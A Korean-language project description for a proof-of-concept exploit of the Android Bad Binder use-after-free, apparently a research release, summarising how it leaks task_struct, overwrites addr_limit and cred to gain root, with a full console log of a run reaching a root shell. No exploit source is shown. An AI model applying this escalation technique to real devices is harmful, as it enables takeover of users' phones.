
초기 Google Pixel 휴대폰에서 발견된 Android 취약점 Bad Binder에 대한 완전한 익스플로잇
@wired0ut가 작성한 Android의 Bad Binder 취약점에 대한 익스플로잇입니다.
UAF를 악용하여 task_struct를 유출한 다음 addr_limit를 덮어쓰고 cred의 id 블록을 덮어써 권한을 상승시킵니다.
연구 및 익스플로잇의 전체 과정은 여기에서 확인할 수 있습니다 (3부작).
goldfish Android 커널(arm64) 버전 4.14에서 패치가 재적용된 상태로 테스트되었습니다.
실행 예:
~ $ whoami
whoami: unknown uid 1000
~ $ ./poc
[!] Starting first phase of exploit; task_struct leak...
[!] Created `binder_thread` and `binder_proc`...
[!] Added wait of binder_thread to `epoll_entry`...
[!] Filling pipes to block...
[!] Filling the iovecs to be overwritten...
[!] Entering blocked state...
[!] Triggering UAF...
[!] Left blocked state, it means we have signaled to not hang.
[*] Leaked task_struct @ 0xffffffc0fb3f0d80
[*] Successfully leaked task_struct ptr, now overwriting addr_limit...
[!] Pre-writing 1 byte to socket to advance iovec iterator to 12th...
[!] Created `binder_thread` and `binder_proc`...
[!] Added wait of binder_thread to `epoll_entry`...
[!] Creating msghdr with crafted iovecs...
[!] Entering recvmsg(...), should block until UAF...
[!] Triggering UAF...
[!] Overwriting addr_limit @ 0xffffffc0fb3f0d88 with 0xfffffffffffffffe
[*] addr_limit overwritten, leaking cred ptr @ 0xffffffc0fb3f1440
[*] cred_ptr @ 0xffffffc0fa45a300
[*] Overwriting entire id block in cred from 0xffffffc0fa45a304 to 0xffffffc0fa45a324
[*] You should now be r00t...
[*] getuid(): 0
[*] w00t w00t
/bin/sh: can't access tty; job control turned off
/ # whoami
whoami: unknown uid 0
추가 정보나 문의 사항이 있으면 연락 주시기 바랍니다.